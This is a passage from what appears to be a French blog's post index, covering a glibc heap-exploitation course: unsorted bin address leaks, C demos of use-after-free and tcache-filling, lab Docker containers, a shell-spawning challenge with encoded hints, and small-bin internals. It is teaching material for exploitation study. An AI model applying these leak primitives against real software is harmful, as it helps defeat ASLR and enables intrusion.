savez, le tcache a été introduit lors de la version 2.26 de la libc. Nous avons vu que les tailles de blocs gérées par le tcache sont les suivantes :   x86 x86_64 Taille min du bloc 0x10 0x20 Taille max du bloc 0x400 0x410 Bah y qu’à utiliser des blocs plus grands que 0x410 et comme ça on fait comme si le tcache n’existait pas 🤓.Merci Sherlock 🕵️‍♂️. Le tcache ne pose pas tellement de soucis lorsque l’on manipule des blocs de très grande taille étant donné qu’ils vont directement dans la unsorted bin.Le problème apparaît lorsqu’il n’est, justement, pas possible d’allouer des blocs de grande taille et que l’on a besoin d’accéder à la unsorted bin afin d’avancer dans l’exploitation.💡ContournementVoir la section Comment accéder à la unsorted bin quand le tcache ne le permet pas ? un peu plus bas.2️⃣ unsorted bin leakFaire fuiter l’adresse de la unsorted bin ou une adresse du tas.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.41 🟢 Exploitable. ≥ 2.42 ❓ Pas testé. ⚡ RésuméCette attaque consiste simplement à afficher les champs fd et bk d’un bloc libre appartenant, ou ayant appartenu, à la unsorted bin. Cette méthode permet de faire fuiter, selon le cas, une adresse de la libc ou une adresse du tas.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’obtenir : une fuite d’une adresse de la libc ; une fuite d’une adresse mémoire du tas.🔧 Primitives d’exploitationCette attaque peut notamment être réalisée à l’aide des primitives suivantes : use-after-free : dès lors que l’on peut afficher le contenu d’un bloc libre de la unsorted bin, il est possible d’en afficher le champ fd ; buffer overflow dans le tas : s’il est possible de réaliser un dépassement de mémoire depuis un des blocs situés avant le bloc à faire fuiter et d’afficher le bloc à partir duquel le dépassement a eu lieu, il est possible d’afficher le champ fd voire le champ bk ; affichage d’un bloc alloué : lorsqu’un bloc est alloué à partir d’un bloc libre recyclé depuis la unsorted bin, ses champs fd et bk ne sont généralement pas mis à zéro. Ainsi, en affichant le contenu du bloc nouvellement alloué, il est possible d’observer (au moins) la valeur du champ fd.📃 Détails de l’exploitationTout d’abord, sachez que le mécanisme derrière cette attaque n’est pas très compliqué : lorsqu’un bloc est libéré et va dans la unsorted bin , ses champs fd et bk sont remplis. Trois cas de figure existent concernant le bloc dont on veut afficher les pointeurs fd et bk : le bloc est le seul de la liste : ses deux champs fd et bk pointent vers la unsorted bin (adresse de la libc) ; il s’agit du premier ou dernier bloc : au moins un de ses champs pointe vers la unsorted bin (adresse de la libc) ; il s’agit d’un bloc intermédiaire : ses deux champs pointent vers une adresse située dans le tas.Vous l’aurez compris, en fonction de la position du bloc, dans la unsorted bin, nous ne pourrons pas faire fuiter les mêmes informations. En fonction de ce que vous avez besoin de faire fuiter (adresse du tas ou de la libc), il va falloir choisir le bon bloc pour y parvenir.Afficher fd et bkLa question qui se pose réellement est : comment afficher fd et bk ? Plusieurs méthodes sont utilisables. Voyons-en quelques-unes (sans pour autant être exhaustifs).Utiliser un use-after-freeL’un des cas les plus simples dans l’exploitation de cette attaque est tout simplement d’utiliser un use-after-free afin d’afficher le champ fd d’un bloc libre de la unsorted bin.Voici un petit bout de code qui utilise un use-after-free pour faire fuiter le champ fd :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ void *a = malloc(0x500); malloc(1); // Evite la consolidation free(a); printf(\"fd vaut : %p\\n\",*((unsigned long long *)a)); // Use-after-free}On le compile et l’exécute :$ ./unsorted_bin_leakfd vaut : 0x72850741ace0Simple et efficace 😎.Pour le conteneur Docker : ⬇️ Téléchargement : pwn-unsorted-bin-leak.zip 🔎 SHA256 &amp; Analyse Virus Total : 96e4ce8fc610b780094aa6ecf2ab56640a0b4c95cd01ea0e644d41ae1e86ae0c ⚙️ Construction et lancement du conteneur :docker build -t pwn-unsorted-bin-leak .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-unsorted-bin-leakUtiliser un buffer overflowEn utilisant un dépassement de mémoire tampon, l’idée est de remplir toute la zone mémoire du bloc jusqu’au champ fd (sans l’écraser évidemment) avec des octets non nuls puis d’afficher le bloc où le buffer overflow a eu lieu. Naturellement, fd sera affiché, sauf s’il y a une limite sur la taille des données affichées.Dans l’exemple ci-dessous, le dépassement de mémoire permet de remplir tous les octets jusqu’au champ fd. En affichant le bloc 🔵 avec une fonction comme printf, le résultat sera de ce type : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xe0\\xac\\xc2\\xf7\\xff\\x7f.Ce qui est intéressant avec cette technique est qu’il est possible d’afficher également bk en augmentant la taille du dépassement de 8 octets, en écrasant fd.Allouer le bloc à faire fuiterDans le cas où il n’est pas possible d’afficher le champ fd alors que le bloc est libre (via un use-after-free par exemple) il est toujours envisageable d’allouer le bloc de la unsorted bin et d’en afficher le contenu.Voici un code d’exemple qui ne diffère pas beaucoup de celui qui se base sur le use-after-free :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ void *a = malloc(0x500); malloc(1); // Evite la consolidation free(a); void *b = malloc(0x500); // Allocation du bloc à faire fuiter printf(\"fd vaut (en allouant le bloc): %p\\n\",*((unsigned long long *)b)); } Il n’est pas nécessaire que l’allocation soit de la même taille. Cette méthode fonctionne même avec une allocation plus petite que celle du bloc à faire fuiter. Si vous utilisez une allocation de plus petite taille, le champ fd affiché sera bien un pointeur de la libc mais ce ne sera pas celui de la unsorted bin. Ce sera l’adresse une small bin ou large bin ce qui implique un écart de quelques octets avec l’adresse de la unsorted bin.Cette méthode repose sur deux hypothèses principales : il est possible d’afficher un bloc alloué ; il est possible d’allouer un bloc sans que le champ fd ne soit écrasé.🚧 Obstacles et contraintesImpossibilité d’afficher un blocIl peut arriver que lors de certains challenges ou contextes d’exploitation, il ne soit pas possible d’afficher le contenu d’un quelconque bloc. C’est triste mais bon, on fait avec 🥹.💡ContournementMalheureusement cette contrainte nous complexifie davantage la tâche. Il est même possible que cette attaque devienne inutilisable dans un tel contexte.Il existe tout de même une manière de faire fuiter des informations en utilisant la structure FILE de stdout. Il s’agit d’une technique avancée d’exploitation du tas que l’on ne détaillera pas ici. Pour les plus curieux, vous pouvez jeter un œil à ce lien.Présence du tcacheComme pour la précédente attaque, la présence du tcache rend la fuite de données un peu plus complexe.💡ContournementVoir la section Comment accéder à la unsorted bin quand le tcache ne le permet pas ? ci-dessous.❓ Comment accéder à la unsorted bin quand le tcache ne le permet pas ?ProblèmeIl ne s’agit pas d’une attaque mais plutôt d’une section afin de traiter le problème suivant : j’ai besoin d’accéder à la unsorted bin en ne pouvant allouer et libérer que de petits blocs (qui iront dans le tcache en cas de libération), comment faire ?SolutionPour pouvoir allouer un bloc de taille n (n étant inférieur à 0x400 ) il suffit de remplir la corbeille du tcache qui gère les blocs de taille n. Par “remplir” on entend : libérer au moins 7 blocs de taille n pour que la corbeille en question ne puisse plus accueillir de bloc de taille n et que ce dernier aille directement dans la unsorted bin.Voici un bout de code qui illustre ce contournement :#include &lt;stdlib.h&gt;int main(){ // ----- Phase d'allocation des blocs ----- void* blocs_tcache[7] = {0}; void* bloc_unsorted_bin = NULL; for(int i = 0; i &lt; 7; i++) blocs_tcache[i] = malloc(0x150); bloc_unsorted_bin = malloc(0x150); malloc(1); // Eviter la consolidation avec top_chunk // ----- Phase de liberation des blocs ----- for(int i = 0; i &lt; 7; i++) free(blocs_tcache[i]); // Vers le tcache free(bloc_unsorted_bin); // Vers la unsorted bin return 0;} Dans les versions les plus récentes de la libc (ex : 2.41) se retrouve dans une small bin plutôt que la unsorted bin. Je ne sais pas pourquoi et je vous avoue que j’ai eu la flemme de chercher 😅. En tout cas cela fonctionne dans la version 2.33 et sûrement avec les précédentes.Voici ce que ça donne dans un schéma : 8 blocs de taille n sont alloués ainsi qu’un petit bloc pour éviter la consolidation avec le bloc du sommet ; les 7 premiers blocs (bloc_tcache[i]) sont libérés : la corbeille de taille n du tcache est saturée et ne peut plus accueillir de nouveau bloc ; le 8ème (bloc_unsorted_bin) bloc est libéré et se retrouve bien dans la unsorted_bin.Faire fuiter une adresse grâce à la unsorted binReprenons le précédent bout de code et tentons d’accéder au bloc situé dans la unsorted bin pour en afficher le contenu en effectuant plusieurs allocations successives :#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; int main() { // ----- Phase d'allocation des blocs ----- void* blocs_tcache[7] = {0}; void* bloc_unsorted_bin = NULL; for(int i = 0; i &lt; 7; i++) blocs_tcache[i] = malloc(0x150); bloc_unsorted_bin = malloc(0x150); malloc(1); // Eviter la consolidation avec top_chunk // ----- Phase de liberation des blocs ----- for(int i = 0; i &lt; 7; i++) free(blocs_tcache[i]); // Vers le tcache free(bloc_unsorted_bin); // Vers la unsorted bin // ----- Acceder au bloc de la unsorted bin ----- for(int i = 0; i &lt; 7; i++) malloc(0x150); bloc_unsorted_bin = malloc(0x150); printf(\"La valeur du champ 'fd' de ce bloc est : %p\\n\",*(unsigned long long *)bloc_unsorted_bin); return 0; }L’accès au conteneur Docker : ⬇️ Téléchargement : pwn-unsorted-bin-leak-2.zip 🔎 SHA256 &amp; Analyse Virus Total : 1818f6784eacb8d11babaddc7c3f3ef0cbddd1497181e8b139b0c2f22b912d9d ⚙️ Construction et lancement du conteneur :docker build -t pwn-unsorted-bin-leak-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-unsorted-bin-leak-2On compile le programme avec la libc 2.33 et on l’ouvre dans gdb. Quel est le contenu de fd ?Or il s’agit des bits de poids fort des adresses du tas et non de la libc. Ce n’est donc pas une adresse de la libc, ce à quoi on s’attendait 😞.Pour comprendre ce comportement il faut pas mal investiguer le code de _int_malloc et comparer deux versions avant et après l’avènement du tcache (ex : 2.25 et 2.33). On tombe notamment sur cette différence :Le programme entre dans la condition if (size == nb) lorsque le bloc victim de la unsorted bin a pile poil la taille de l’allocation demandée.Lorsque le tcache est disponible et qu’il y a de la place dans sa corbeille de taille n, avant de retourner directement le bloc victim … il est d’abord inséré dans le tcache 😮.Revenons à nos moutons 🐏. En ce qui nous concerne, nous voulons faire fuiter une adresse de la libc comme au bon vieux temps via le champ fd (ou bk). Il y a une astuce pour cela. En effet, nous venons de voir que lorsque la taille n de l’allocation est la même que la taille du bloc, cela ne fonctionne pas.En revanche, en provoquant une fragmentation d’un bloc de plus grande taille, le bloc victim sera directement retourné par malloc sans passer par le tcache. Ainsi, nous aurons nos champs fd et bk intacts et qui pointeront vers l’arène (dans la libc).Cela peut se faire ainsi :#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; int main() { // ----- Phase d'allocation des blocs ----- void* blocs_tcache[7] = {0}; void* bloc_unsorted_bin= NULL; // Modification ici : void* bloc_unsorted_bin_bis = NULL; for(int i = 0; i &lt; 7; i++) blocs_tcache[i] = malloc(0x150); bloc_unsorted_bin = malloc(0x150); // Modification ici : bloc_unsorted_bin_bis = malloc(0x150); // Nouveau bloc malloc(1); // Eviter la consolidation avec top_chunk // ----- Phase de liberation des blocs ----- for(int i = 0; i &lt; 7; i++) free(blocs_tcache[i]); // Vers le tcache free(bloc_unsorted_bin); // Vers la unsorted bin // Modification ici : free(bloc_unsorted_bin_bis); // Idem + consolidation avec le precedent bloc // ----- Acceder au bloc de la unsorted bin ----- for(int i = 0; i &lt; 7; i++) malloc(0x150); bloc_unsorted_bin = malloc(0x150); printf(\"La valeur du champ 'fd' de ce bloc est : %p\\n\",*(unsigned long long *)bloc_unsorted_bin); return 0; } Nous ne pouvons pas allouer directement un plus grand bloc (ex : bloc_unsorted_bin = malloc(0x2a0);) car ce bloc, une fois libéré, ira dans la corbeille de taille 0x2a0 du tcache qui est vide (contrairement à celle de taille 0x150 🙃).Conteneur Docker : ⬇️ Téléchargement : pwn-unsorted-bin-leak-3.zip 🔎 SHA256 &amp; Analyse Virus Total : 34df07402ab891ad81eeae215b9060092563ebac5a0338b02c960754c4194cf0 ⚙️ Construction et lancement du conteneur :docker build -t pwn-unsorted-bin-leak-3 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-unsorted-bin-leak-3On recompile le programme avec la libc 2.33 et voyons ce qui est affiché dans gdb :Super ! Il s’agit bien d’une adresse de la libc ! Pour ceux qui y voient plus clair avec un schéma, voici ce qui a été fait : en plus des 8 blocs de taille 0x150 déjà libérés, nous en libérons un 9ème ; étant donné que les deux derniers blocs sont dans la unsorted bin et se jouxtent : ils sont fusionnés en un bloc de taille 0x150 + 0x150 = 0x2a0 ; les 7 premières allocations réutilisent des blocs dans le tcache tandis que la 8ème provoque une fragmentation du bloc de 0x2a0 octets. De ce fait, le bloc fragmenté de 0x150 octets est directement retourné, sans passer par le tcache 😎." }, { "title": "Partie 17 - 🏆 Challenge - exploitation de la unsorted bin (4/4)", "url": "/posts/exploitation_de_la_heap_partie_17/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-23 08:00:00 -0200", "snippet": "🏆 Challenge : exploitation de la unsorted bin (4/4)Depuis plusieurs chapitres, nous avons eu l’occasion de rencontrer divers éléments utilisés dans le tas dont la unsorted bin. Il est temps de pass...", "content": "🏆 Challenge : exploitation de la unsorted bin (4/4)Depuis plusieurs chapitres, nous avons eu l’occasion de rencontrer divers éléments utilisés dans le tas dont la unsorted bin. Il est temps de passer à un exercice un peu plus croustillant et réaliste qui consiste cette fois-ci à ouvrir un terminal en exploitant le tas. ⬇️ Téléchargement : pwn-chall-unsorted-bin.zip 🔎 SHA256 &amp; Analyse Virus Total : 6949fb442f0245c25250dad08422ef26f0dd312e2094171a97afc2667b29ecbb 🎯 Objectif : réussir à ouvrir un terminal. 🌟 Objectif bonus pour les plus téméraires d’entre vous qui souhaitent aller plus loin : ouvrir un terminal en tant que root Bon courage !💻 Contexte d’exécutionAfin de se placer dans le contexte d’exécution prévu pour cet exercice, il est nécessaire de : activer l’ASLR ; atteindre l’objectif en dehors d’un déboggeur ; la version de la glibc utilisée est 2.33-0ubuntu5_amd64💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t pwn-chall-unsorted-bin .; lancement du conteneur et du challenge :docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-chall-unsorted-binLe port accessible est le suivant : 1234 : port qu’il est possible d’utiliser pour déboguer à distance avec gdbserver.🤓 Quelques conseils Ce challenge est un peu plus complexe que les précédents. Ainsi, si vous ne trouvez pas directement par quel bout le prendre ou comment atteindre l’objectif, c’est normal. En suivant une piste il est possible que vous fassiez face à des écueils qu’il va falloir contourner. Dans tous les cas, tout ce qui a été précédemment vu devrait vous permettre de réussir cet exercice. Plusieurs étapes seront nécessaires avant d’atteindre l’objectif. Prenez le temps de faire un bon coup de reverse afin de trouver les différentes structures utilisées. En fonction de la version de la glibc et des protections en place, réfléchissez aux potentiels problèmes auxquels vous devrez faire face et comment les contourner. N’oubliez pas de lister les potentielles pistes qui pourraient vous permettre d’atteindre l’objectif. N’hésitez pas à ouvrir gdb dans votre script d’exploitation avec la commande ci-dessous, afin de voir ce qui est en train de se passer dans le tas :gdb.attach(io, ''' b *0xadresse ''')💡 IndicesEncore une fois, s’il vous arrive d’être bloqué lors de certaines étapes, c’est normal. C’est le but du challenge : vous apprendre à investiguer les causes d’un dysfonctionnement lorsque l’on pense avoir pourtant fait ce qui est correct.Si vous pensez être totalement bloqués et que vous n’arrivez pas à avancer même en ayant cherché la cause du dysfonctionnement, alors vous pouvez vous aider des indices. Sinon, essayez d’éviter d’utiliser les indices tant que vous n’avez pas assez cherché 😉.💡 Indice n°1TGUgZMOpdmVsb3BwZXVyIGR1IGNoYWxsZW5nZSBuJ2VzdCBwYXMgdHLDqHMgZG91w6ksIGlsIHNlIHBldXQgcXVlIGNlcnRhaW5lcyBmb25jdGlvbm5hbGl0w6lzIG5lIGZvbmN0aW9ubmVudCBwYXMgY29tbWUgYXR0ZW5kdS4gVGVudGV6IGQnaW52ZXN0aWd1ZXIgbGEgY2F1c2UgLi4u💡 Indice n°2SWwgbid5IGEgcGFzIGRlIHBvaW50ZXVyIGRlIGZvbmN0aW9uIHV0aWxpc8OpIGRpcmVjdGVtZW50IHBhciBsZSBwcm9ncmFtbWUuIElsIHZhIGRvbmMgZmFsbG9pciB0cm91dmVyIHVuIG1veWVuIGQnZXjDqWN1dGVyIGR1IGNvZGUgb3UgdW5lIGZvbmN0aW9uLgoKTGEgdmVyc2lvbiBkZSBsYSBsaWJjIGVzdCAyLjMzLCBxdWUgcGV1dC1vbiBlbiBkw6lkdWlyZSA/💡 Indice n°3U2F2b2lyIG/DuSBs4oCZb24gdmEgY+KAmWVzdCBiaWVuLCBtYWlzIHLDqXVzc2lyIMOgIHkgYWxsZXIgY+KAmWVzdCBlbmNvcmUgbWlldXggIQoKVGVudGV6IGRlIHRyb3V2ZXIgdG91cyBsZXMgZHlzZm9uY3Rpb25uZW1lbnRzIG91IHZ1bG7DqXJhYmlsaXTDqXMgcHLDqXNlbnRlcyBkYW5zIGxlIGNvZGUgZXQgw6l2YWx1ZXogY2UgcXVlIHZvdXMgcG91dmV6IGZhaXJlIGF2ZWMgY2hhY3VuLgoKVm91cyBmYWl0ZXMgc8O7cmVtZW50IGZhY2Ugw6AgdW4gb3UgcGx1c2lldXJzIGRlcyBwcm9ibMOobWVzIHN1aXZhbnRzIDoKCi0gY29tbWVudCBmYWlyZSBmdWl0ZXIgdW5lIGFkcmVzc2UgZGUgbGEgbGliYyA/Ci0gY29tbWVudCBmYWlyZSBmdWl0ZXIgdW5lIGFkcmVzc2UgZHUgdGFzID8KLSBjb21tZW50IHLDqXVzc2lyIMOgIGFsbG91ZXIgdW4gYmxvYyBkYW5zIGxhIHVuc29ydGVkIGJpbiBhbG9ycyBxdWUgbGUgdGNhY2hlIGVzdCBwcsOpc2VudCA/CgrDh2EgdG9tYmUgYmllbiwgbm91cyBhdm9ucyB2dSBkZXMgw6lsw6ltZW50cyBkZSByw6lwb25zZXMgw6AgY2VzIHF1ZXN0aW9ucyBkYW5zIGxlcyBwcsOpY8OpZGVudHMgY2hhcGl0cmVzIDspLiA=💡 Indice n°4U2kgdm91cyDDqnRlcyBwYXJ2ZW51IMOgIHN1cm1vbnRlciBsZXMgb2JzdGFjbGVzIHByw6ljw6lkZW50cywgbGEgZmluIGVzdCBkw6lzb3JtYWlzIMOgIHBvcnTDqWUgZGUgbWFpbi4KCklsIG5lIHZvdXMgcmVzdGUgcGx1cyBxdeKAmcOgIHRyb3V2ZXIgdW4gbW95ZW4gZOKAmcOpY3JpcmUgYXJiaXRyYWlyZW1lbnQgZW4gbcOpbW9pcmUuIEludXRpbGUgZGUgY2hlcmNoZXIgYmllbiBsb2luIDogZXhwbG9yZXogbGVzIHBvc3NpYmlsaXTDqXMgbGVzIHBsdXMgc2ltcGxlcyBlbiBwcmVtaWVyLgoKVW5lIGZvaXMgY2V0dGUgY2FwYWNpdMOpIGFjcXVpc2UsIGlsIG5lIHJlc3RlcmEgcGx1cyBxdeKAmcOgIG91dnJpciBsZSB0ZXJtaW5hbC4KClBvdXIgY2V1eCBxdWkgc291aGFpdGVudCBhdHRlaW5kcmUgbCdvYmplY3RpZiAiYm9udXMiLCBsZSBjb3VycyBjb250aWVudCB0b3VzIGxlcyDDqWzDqW1lbnRzIHF1aSB2b3VzIHBlcm1ldHRlbnQgZGUgbCdhdHRlaW5kcmUu" }, { "title": "Partie 18 - Les small bins - fonctionnement et exploitation (1/2)", "url": "/posts/exploitation_de_la_heap_partie_18/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-22 08:00:00 -0200", "snippet": "Les small bins : fonctionnement et exploitation (1/2)Pour être honnête avec vous, j’ai longuement hésité à écrire les chapitres dédiés aux small bins et large bins tant leur usage est marginal depu...", "content": "Les small bins : fonctionnement et exploitation (1/2)Pour être honnête avec vous, j’ai longuement hésité à écrire les chapitres dédiés aux small bins et large bins tant leur usage est marginal depuis la présence du tcache. Mais bon, qui sait, peut-être qu’avoir écrit quelque part la manière dont ces types de corbeilles fonctionnent sera utile un jour ou l’autre 🤷‍♂️.UtilisationNous avons récemment analysé le fonctionnement de la unsorted bin au cours des précédents chapitres. Vous vous rappelez sans doute qu’un bloc libre de la unsorted bin n’a qu’une seule chance d’être réutilisé. S’il n’est pas utilisé lors de la prochaine allocation (ex : taille d’allocation plus importante), alors il est inséré soit dans une small bin soit dans une large bin en fonction de sa taille.Gestion des blocs libresTaille des blocs gérésAgencement en mémoireVoyons quelles sont les tailles de bloc gérées par les small bins, cela est très utile pour savoir si un bloc de la unsorted bin ira dans une small bin ou large bin. Tout d’abord, voici ce que dit le code source au sujet du nombre de small bins :/* Indexing Bins for sizes &lt; 512 bytes contain chunks of all the same size, spaced 8 bytes apart. Larger bins are approximately logarithmically spaced: 64 bins of size 8 32 bins of size 64 16 bins of size 512 8 bins of size 4096 4 bins of size 32768 2 bins of size 262144 1 bin of size what's left There is actually a little bit of slop in the numbers in bin_index for the sake of speed. This makes no difference elsewhere. The bins top out around 1MB because we expect to service large requests via mmap. Bin 0 does not exist. Bin 1 is the unordered list; if that would be a valid chunk size the small bins are bumped up one. */ #define NBINS 128#define NSMALLBINS 64 Les nombres affichés dans cette section de code de la glibc peuvent prêter à confusion 😵‍💫, il faut le reconnaître. Nous allons détailler étape par étape la manière de compter le nombre de small bins et large bins pour que vous compreniez comment s’effectue, au final, leur dénombrement.Faisons la somme de toutes les corbeilles listées dans le commentaire ci-dessus : 64+32+16+8+4+2+1 = 127. Or la valeur de NBINS est 128. On s’attendrait donc à ce qu’il y ait : 64 small bins et 64 large bins. Mais non, il y a une unité de différence 🤔 …La fin du commentaire stipule Bin 0 does not exist.. Vous remarquerez, d’ailleurs, que les boucles indexées par rapport à NBINS démarrent toujours à 1, comme ici. Bah faut savoir : soit les tableaux en informatique commencent à 0, soit à 1 😑.Tout à fait d’accord ! C’est très perturbant pour la compréhension de l’agencement des small bins et large bins. Mais bon, au moins nous comprenons pourquoi il y en a bien 127 et non 128 au total.Mais il y a autre chose qui peut sembler étrange : NSMALLBINS vaut 64. Le problème ? Bah c’est que les small bins, il n’y en a pas 64 mais 62 😅. Puisque la Bin 0 n’existe pas, on passe de 64 à 63 corbeilles. Reste à déterminer comment nous sommes passés de 63 à 62.De plus, d’après le commentaire Bin 1 is the unordered list, on en déduit que la première corbeille n’est tout autre que la unsorted bin. Ainsi, voici comment se décomposent ces 127 corbeilles : 1 unsorted bin ; 62 small bins ; 64 large bins ;Et la boucle est (presque) bouclée ! Il nous faut désormais comprendre le tableau bins qui fait partie de l’arène :/* Normal bins packed as described above */mchunkptr bins[NBINS * 2 - 2];Normalement le tableau bins devrait vous dire quelque chose étant donné que ses deux premiers éléments pointent vers le premier et dernier bloc de la unsorted bin. Vous avez sûrement dû le voir passer en utilisant la commande arena. Pour rappel, il ressemble à :Il est important de comprendre l’agencement des small bins et large bins dans ce tableau car ce n’est pas évident de prime abord.Déjà, calculons sa taille : NBINS * 2 - 2 = 128 * 2 - 2 = 254. 254 c’est aussi 127*2. Cette précision n’est pas anodine. Vu que chaque corbeille “classique” (unsorted bin, small bin et large bin) est une liste doublement chaînée, l’arène a besoin d’avoir un pointeur vers son premier et son dernier élément. C’est pourquoi la glibc utilise un tableau de 127*2 éléments pour représenter les 127 corbeilles.Le tableau ci-dessous synthétise la correspondance entre le numéro d’une corbeille (qui va de 1 à 127) et ses deux index dans le tableau bins : Numéro de la corbeille Ses deux index dans bins Type de la corbeille 1 { 0 ; 1 } unsorted bin 2 { 2 ; 3 } small bin 3 { 4 ; 5 } small bin n { n*2 - 2 ; n*2 - 1 } small bins 63 { 0x7c ; 0x7d } ({ 124 ; 125 }) small bin 64 { 0x7e ; 0x7f } ({ 126 ; 127 }) large bin 65 { 0x80 ; 0x81 } ({ 128 ; 129 }) large bin n { n*2 - 2 ; n*2 - 1 } large bins 127 { 0xfc ; 0xfd } ({ 252 ; 253 }) large bin Pfiouu 🥵 ! Au moins maintenant, nous savons exactement où est stockée chaque corbeille et la manière dont se calculent les indices.Résumé Les tailles données ci-dessous incluent les métadonnées.À partir du nombre de small bins et de l’espace entre deux small bins en fonction de l’architecture, nous obtenons les résultats suivants :Version de la libc &lt;= 2.25 Version Espace entre deux corbeilles Nombre de small bins Taille min Taille max (incluse) 32 bits 8 octets 62 0x10 0x1f8 64 bits 0x10 octets 62 0x20 0x3f0 Version de la libc &gt; 2.25 Version Espace entre deux corbeilles Nombre de small bins Taille min Taille max (incluse) 32 bits 0x10 octets 62 0x20 0x3e0 64 bits 0x10 octets 62 0x20 0x3f0 Pour rappel, dans les anciennes versions de la glibc (≤ 2.25 (2017)), la contrainte d’alignement des blocs est de 8 octets. De ce fait, vous remarquerez qu’après la version 2.25, les intervalles de taille en 32 bits et 64 bits ne diffèrent pas tellement. Les blocs non réutilisés de la unsorted bin vont dans une large bin lorsque leur taille ne leur permet pas d’être traités par une small bin ?Exactement !Organisation des corbeillesConcernant la structure des corbeilles, ce sera assez facile à comprendre étant donné que cela est très proche de la structure de la unsorted bin : les blocs sont gérés via un système de liste doublement chaînée circulaire ; la liste est de type FIFO (First In First Out). Autrement dit le premier bloc arrivé, est le premier servi.L’une des particularités de ce type de corbeilles est qu’un bloc qui vient d’être libéré ne va jamais directement dans une small bin mais passe dans un premier temps par la unsorted bin. Si ce bloc n’est pas réutilisé et qu’il a une petite taille, il va dans la small bin idoine.Transition de la unsorted bin vers une small binCas n°1 : un seul blocComme à l’accoutumée, je vous propose de voir avec un schéma ce qui se passe lorsqu’un bloc n’est pas réutilisé dans la unsorted bin. Prenons comme support le programme suivant :#include \"stdlib.h\"// Version de la glibc : 2.24-9ubuntu2_amd64int main(){ void *a = malloc(0x500); malloc(1); free(a); // Bloc A -&gt; unsorted bin (taille = 0x500) malloc(0x500 - 0x100); // Bloc A reste dans unsorted bin (taille = 0x100) malloc(0x200); // 0x200 &gt; 0x100 =&gt; Bloc A -&gt; small bin (taille = 0x100)\treturn 0;}Ci-dessous, les différentes étapes d’exécution du programme : le bloc A de 0x500 octets est alloué ainsi qu’un autre petit bloc afin d’éviter la consolidation avec le bloc du sommet lors de la libération ; free(a) : étant donné que dans cette version de la glibc (2.24) il n’y a pas de tcache et que la taille de ce bloc n’est pas gérée par une fastbin, le bloc libre est géré par la unsorted bin ; malloc(0x500 - 0x100) : un bloc de 0x400 octets est alloué. Sachant que le bloc libre A a été réutilisé, le reste du bloc (0x100 octets) ne quitte pas la unsorted bin. De nouveau, le bloc libre de 0x100 octets a une seule chance d’être réutilisé ; malloc(0x200) : la taille de l’allocation demandée dépasse celle du bloc libre, ce dernier est donc placé dans la small bin de taille 0x100.Cas n°2 : plusieurs blocsAnalysons désormais le comportement du programme suivant :#include \"stdlib.h\"// Version de la glibc : 2.24-9ubuntu2_amd64int main(){ void *a = malloc(0x500); malloc(1); void *b = malloc(0x500); malloc(1); void *c = malloc(0x500); malloc(1); free(a); // Bloc A -&gt; unsorted bin (taille = 0x500) malloc(0x500 - 0x100); // Bloc A reste dans unsorted bin (taille = 0x100) malloc(0x200); // 0x200 &gt; 0x100 =&gt; Bloc A -&gt; small bin (taille = 0x100) free(b); // Bloc B -&gt; unsorted bin (taille = 0x500) malloc(0x500 - 0x100); // Bloc B reste dans unsorted bin (taille = 0x100) malloc(0x200); // 0x200 &gt; 0x100 =&gt; Bloc B -&gt; small bin (taille = 0x100) free(c); // Bloc B -&gt; unsorted bin (taille = 0x500) malloc(0x500 - 0x100); // Bloc B reste dans unsorted bin (taille = 0x100) malloc(0x200); // 0x200 &gt; 0x100 =&gt; Bloc B -&gt; small bin (taille = 0x100)\treturn 0;}Il s’agit du même programme que le précédent, si ce n’est qu’à la fin de son exécution, 3 blocs libres seront présents dans la small bin de taille 0x100. Petite question pour voir si vous avez bien compris : quel est le numéro de la small bin qui gère les blocs libres de taille 0x100 ? Quels sont ses deux index dans le membre (tableau) bins de l’arène ? Réponse : aWwgcydhZ2l0IGRlIGxhIHNtYWxsIGJpbiBuwrAxNiBkb250IGxlcyBkZXV4IGluZGV4IHNvbnQgeyAweDFlIDsgMHgxZn0uEn exécutant le programme jusqu’au retour du main dans gdb, nous pouvons effectivement constater la présence des trois blocs libres de 0x100 octets dans une small bin : Selon la doc’ de la glibc qui stipule que la première bin (n°1) est la unsorted bin, le numéro de cette small bin est 16 parmi l’ensemble des trois corbeilles : unsorted bin + small bins + large bins. Par contre, parmi toutes les small bins, celle qui gère les blocs de taille 0x100 est la numéro 15. D’où la valeur idx=15 utilisée dans gdb. En gros : c’est la 16e bin (unsorted bin, small bins et large bins confondues) et la 15e small bin parmi les small bins. Oui, c’est très pénible de devoir jongler entre différentes manières d’indexer les corbeilles 😮‍💨 … Ce qui est important est de se rappeler l’origine de ces différences.En utilisant la commande arena, nous trouvons rapidement les indices de cette small bin :En s’intéressant aux liens entre les différents blocs, vous constaterez que les blocs libres d’un small bin sont liés de la même manière que des blocs libres de la unsorted bin :Les listes doublement chaînées circulaires sont un peu difficiles à lire au début, mais avec un peu de temps, on finit par en saisir la logique.Structure et métadonnées d’un bloc issu d’une small binCe qui est, au départ, compliqué avec les small bins, c’est le nombre de corbeilles qu’il y a et la manière dont elles sont indexées et gérées par l’arène. Quant à l’organisation des blocs au sein d’une corbeille, c’est semblable à ce qui est effectué dans la unsorted bin.D’ailleurs, même la structure d’un bloc dans une small bin est similaire à celle des blocs de la unsorted bin :On passe à la suite ?" }, { "title": "Partie 19 - Les small bins - mécanismes de protection (2/2)", "url": "/posts/exploitation_de_la_heap_partie_19/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-21 08:00:00 -0200", "snippet": "Les small bins : mécanismes de protection (2/2)Protections selon les versions 2.3.4 : Safe Unlink : mise en place 